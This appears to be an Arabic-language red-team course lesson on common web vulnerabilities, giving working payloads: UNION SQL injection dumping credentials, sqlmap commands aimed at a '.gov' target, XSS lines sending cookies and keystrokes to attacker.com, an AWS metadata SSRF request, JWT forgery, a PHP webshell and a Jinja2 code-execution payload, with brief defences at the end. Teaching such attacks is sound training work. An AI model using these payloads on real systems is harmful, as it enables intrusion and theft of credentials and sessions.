اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Core Web Vulnerabilities — OWASP من شغل فعلي

SQLi و XSS و SSRF و IDOR و Auth — اللي بتقع فيها كل يوم

المستوى
خبير
المدة
120m
الترتيب
الدرس 25 من 85
SQLiXSSSSRFIDORJWT

OWASP Top 10 — خريطة ثغرات الويب

إنت بتختبر تطبيق ويب. تبدأ منين؟

تجرّب كل payload في PayloadsAllTheThings؟

هتقعد سنة. وهتلاقي حاجة بالصدفة، لو ربنا كرّم.

تشبيه يقرّب الفكرة
90% من اختراقات الويب بترجع لـ 10 عائلات بس. مش 1000. لو حفظت العائلات دي بفلسفتها — بتشتغل ازاي، بتتلقط ازاي، بتتقفل ازاي — هتلاقي بقية الـ payloads بنفسك. متحفظش payloads. افهم ليه الـ payload شغّال أصلاً.

1. SQL Injection — حقن قواعد البيانات

تشبيه يقرّب الفكرة
تخيل إنك بتقول للجرسون: "هاتلي طبق اسمه كباب". يجيبه. بس لو قلتله: "كباب، وكمان افتح الخزنة"، والجرسون ده غبي بينفذ كل اللي بتقوله حرفياً، هتلاقي الكباب والفلوس على الترابيزة. - طب يعني الـ DB غبية كده يا حضرتك؟؟ ها ها ها يا مستجد.. الـ DB مش غبية، الـ developer هو اللي مش فاصل بين "بيانات" و"أوامر". الـ DB بتنفذ اللي يوصلها. وأنت بتبعتلها string فيها أمر — هتعمل ايه يعني؟

الكود الضعيف

PHP — vulnerable
$id = $_GET['id'];
$q  = "SELECT * FROM users WHERE id = $id";
// المستخدم يرسل: ?id=1 OR 1=1 --
// النتيجة: كل المستخدمين

الاستغلال خطوة بخطوة

1
اكتشاف الحقن
حط علامة اقتباس ' في كل parameter وشوف لو الـ app كسرت ورجّعت error. لو كسرت = فيه سكة.
2
تحديد عدد الأعمدة
payload
?id=1 ORDER BY 1--+
?id=1 ORDER BY 5--+   ← خطأ يعني الجدول فيه 4 أعمدة
3
استخراج البيانات بـ UNION
payload
?id=-1 UNION SELECT 1,user(),version(),database()--+
?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--+
?id=-1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users--+
4
الأتمتة بـ sqlmap
$ sqlmap -u 'https://target.gov/p?id=1' --batch --dbs
$ sqlmap -u 'https://target.gov/p?id=1' -D appdb --tables
$ sqlmap -u 'https://target.gov/p?id=1' -D appdb -T users --dump

2. Cross-Site Scripting (XSS)

تشبيه يقرّب الفكرة
تخيل إنك بعت تعليق في صفحة، والموقع بيعرضه زي ما هو من غير ما ينضّفه. لو كتبت كود جوه التعليق، الكود ده هيشتغل على متصفح كل واحد بيقرا الصفحة. التعليق بقى سلاح.

أنواعها

  • Reflected XSS — بترتد من اللينك على طول.
  • Stored XSS — بتتخزّن في قاعدة البيانات. الأخطر.
  • DOM-based XSS — كلها في الـ JavaScript على المتصفح، السيرفر مش شايف حاجة.
payloads
<script>fetch('https://attacker.com/c?d='+document.cookie)</script>
"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
<svg/onload=eval(atob('YWxlcnQoMSk='))>

سرقة الجلسة كاملة

JS — keylogger via stored XSS
(function(){
  let buf="";
  document.addEventListener('keydown', e => {
    buf += e.key;
    if(buf.length>40){
      navigator.sendBeacon('https://attacker.com/k', buf);
      buf="";
    }
  });
})();

3. SSRF — Server-Side Request Forgery

تشبيه يقرّب الفكرة
إنت بتطلب من السيرفر إنه يفتحلك لينك بدالك. لو ما تأكدش من اللينك، تخليه يفتح عناوين داخلية إنت مش هتقدر توصلها بنفسك — زي localhost أو الـ cloud metadata. السيرفر بقى بوّاب لطلباتك.

سيناريو خطير على AWS

payload
# الموقع يقبل URL لتحميل صورة
POST /api/import-image  body: {"url":"http://example.com/x.png"}

# المهاجم يبدّلها بـ:
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"}

# النتيجة: مفاتيح AWS مؤقتة كاملة!

4. كسر الـ Authentication و JWT

هجمات بنشوفها كل يوم

  • Credential stuffing — تجربة باسوردات اتسربت قبل كده على نفس الإيميلات.
  • Password spraying — باسورد واحد شائع على آلاف الحسابات.
  • كسر JWT — تغيير الـ algorithm لـ none، أو كسر الـ secret بـ hashcat.
JWT attacks
# 1) alg:none bypass
{"alg":"none","typ":"JWT"}.{"user":"admin"}.

# 2) brute force HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt

# 3) algorithm confusion RS256 → HS256

5. IDOR — Insecure Direct Object Reference

تغيّر رقم واحد في الـ URL فتلاقي بيانات شخص تاني قدامك. أبسط ثغرة في الويب وأكترها انتشاراً.

HTTP
GET /api/invoices/1042  ← فاتورتك
GET /api/invoices/1043  ← فاتورة شخص آخر! (لا يوجد فحص ملكية)

6. File Upload + RCE

ترفع ملف .php أو .jsp متخفّي (shell.php.jpg) في مجلد بينفذ كود = اختراق كامل للسيرفر. قصة قديمة لسه شغالة.

PHP webshell minimal
<?php system($_GET['c']); ?>

7. Deserialization & Template Injection

الفئة دي هي الأخطر على الإطلاق: تنفيذ كود مباشر لما الـ payload المصنوع يوصل لـ unserialize أو pickle.loads أو Java readObject، أو لمحرك قوالب بيقبل تعبيرات (Jinja2, Twig, Freemarker). لو مسكت واحدة منها = RCE فوري.

SSTI Jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

الأدوات الأساسية للويب

  • Burp Suite — الـ proxy اللي هتعتمد عليه يومياً.
  • OWASP ZAP — البديل المفتوح المصدر.
  • Caido — خفيف وحديث، شغل لطيف.
  • sqlmap, wpscan, ffuf, gobuster, dalfox, kxss, gau, waybackurls.

غلطات الـ junior في اختبار الويب

الخلاصة الناشفة

الويب مش 1000 ثغرة — الويب 10 عائلات.

الـ Prepared Statements بتقفل SQLi.

الـ CSP الصارم بيقفل XSS.

الـ ownership check في كل request بيقفل IDOR.

كله معروف من 20 سنة. السؤال: ليه لسه بيحصل؟

لأن الـ engineers بيكتبوا code بسرعة، والـ security بيكتبوا تقارير بسرعة، ومحدش بيقعد يفهم الـ "ليه" من جذره.

اكتبها على ظهر إيدك: الـ payload مش هو اللعبة — الـ "ليه الـ payload شغّال" هو اللعبة.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.